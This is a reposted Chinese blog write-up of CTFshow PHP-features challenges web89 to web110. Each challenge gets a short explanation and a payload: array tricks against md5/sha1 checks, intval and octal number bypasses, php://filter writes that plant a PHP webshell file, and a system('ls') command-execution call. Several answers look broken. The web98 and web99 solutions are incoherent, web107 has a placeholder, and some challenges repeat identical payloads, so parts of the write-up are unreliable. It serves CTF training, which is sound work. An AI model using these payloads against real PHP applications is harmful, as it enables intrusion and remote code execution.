博客
关于我
[CTFSHOW]PHP特性
阅读量:386 次
发布时间:2019-03-05

本文共 1800 字,大约阅读时间需要 6 分钟。

web 89分析

题目要求绕过检查,确保输入为数字且等于4476。当前代码使用preg_match检查是否为数字,且严格比较等于4476。可以通过数组绕过,例如将num设为数组形式,如num[]=0,这样可以绕过检查。

解决方案

?num[]=0

web 90分析

检查num是否为4476,但使用了intval函数,base为0,遇到字母会停止。可以构造4476后面加字母,如4476a,intval会截断得到4476。

解决方案

?num=4476a

web 91分析

正则表达式检查输入是否为php字符串。第一个正则允许多行匹配,可以构造多行的php字符串,如php\nphp,这样可以绕过第二个正则检查。

解决方案

?cmd=a%0aphp

web 92分析

检查num是否为4476且包含0。可以使用科学计数法,如4476e123,intval会截断得到4476。

解决方案

?num=4476e123

web 93分析

检查num是否为4476且不含字母,且包含0。可以使用八进制,如010574,或者小数点如4476.0,绕过检查。

解决方案

?num=010574

web 94分析

检查num是否为4476且不含字母,且不含0。可以使用八进制前面加+,如+010574,或小数点如4476.0。

解决方案

?num=+010574

web 95分析

检查num是否为4476且不含字母,且不含0。可以使用小数点如4476.0,或者八进制如+010574。

解决方案

?num=4476.0

web 96分析

检查提交的文件是否为flag.php,可以通过当前目录使用./flag.php绕过。

解决方案

?u=./flag.php

web 97分析

检查POST参数a和b的MD5是否相同。可以构造a[]=1&b[]=2,利用数组绕过。

解决方案

?a[]=1&b[]=2

web 98分析

检查提交方式,需要构造正确的引用传递。

解决方案

FLAG值=flag,可以通过GET和POST同时提交HTTP_FLAG。

web 99分析

利用in_array漏洞,构造特定数组值,写入木马文件。

解决方案

:num=1.php

web 100分析

利用反射类获取类信息,构造v2为var_dump($ctfshow),获取flag。

解决方案

?v1=1&v2=var_dump($ctfshow)

web 101分析

利用十六进制转换和协议写入。

解决方案

v2=115044383959474e686443417159447367
v3=php://filter/write=convert.base64-decode/resource=1.php

web 102分析

利用hex2bin和base64解码,绕过is_numeric。

解决方案

v1=hex2bin
v2=115044383959474e686443417159447367
v3=php://filter/write=convert.base64-decode/resource=1.php

web 103分析

利用substr和函数调用,构造特定字符串。

解决方案

s=2;str=hex2bin

web 104分析

利用sha1碰撞,构造相同的哈希值。

解决方案

?v2[]=1 POST v1[]=1

web 105分析

利用变量覆盖,构造特定变量值。

解决方案

/suces=flag POST error=suces

web 106分析

利用sha1碰撞,构造相同的哈希值。

解决方案

?v2[]=1 POST v1[]=2

web 107分析

利用parse_str函数,构造特定参数。

解决方案

v1=flag md5=...

web 108分析

利用正则漏洞,构造特定字符。

解决方案

?c=a%00778

web 109分析

利用异常处理和反射类,构造特定函数调用。

解决方案

v1=Exception v2=system('ls')

web 110分析

利用正则漏洞,构造特定字符。

解决方案

?c=a%00778

总结

通过分析每一题的代码逻辑,识别出可利用的漏洞或绕过点,灵活运用技术手段构造有效的payload,成功获取flag。需要不断练习和复习,熟悉各类漏洞,提升解决问题的能力。

转载地址:http://tdxwz.baihongyu.com/

你可能感兴趣的文章
Network Sniffer and Connection Analyzer
查看>>
Nginx Location配置总结
查看>>
Nginx 反向代理解决跨域问题
查看>>
nginx 后端获取真实ip
查看>>
Nginx 学习总结(17)—— 8 个免费开源 Nginx 管理系统,轻松管理 Nginx 站点配置
查看>>
Nginx 我们必须知道的那些事
查看>>
oauth2-shiro 添加 redis 实现版本
查看>>
OAuth2.0_授权服务配置_Spring Security OAuth2.0认证授权---springcloud工作笔记140
查看>>
Objective-C实现A-Star算法(附完整源码)
查看>>
Objective-C实现atoi函数功能(附完整源码)
查看>>
Objective-C实现base64加密和base64解密算法(附完整源码)
查看>>
Objective-C实现base85 编码算法(附完整源码)
查看>>
Objective-C实现basic graphs基本图算法(附完整源码)
查看>>
Objective-C实现BCC校验计算(附完整源码)
查看>>
Objective-C实现bead sort珠排序算法(附完整源码)
查看>>
Objective-C实现BeadSort珠排序算法(附完整源码)
查看>>
Objective-C实现bellman ford贝尔曼福特算法(附完整源码)
查看>>
Objective-C实现bellman-ford贝尔曼-福特算法(附完整源码)
查看>>
Objective-C实现bellman-ford贝尔曼-福特算法(附完整源码)
查看>>
Objective-C实现BellmanFord贝尔曼-福特算法(附完整源码)
查看>>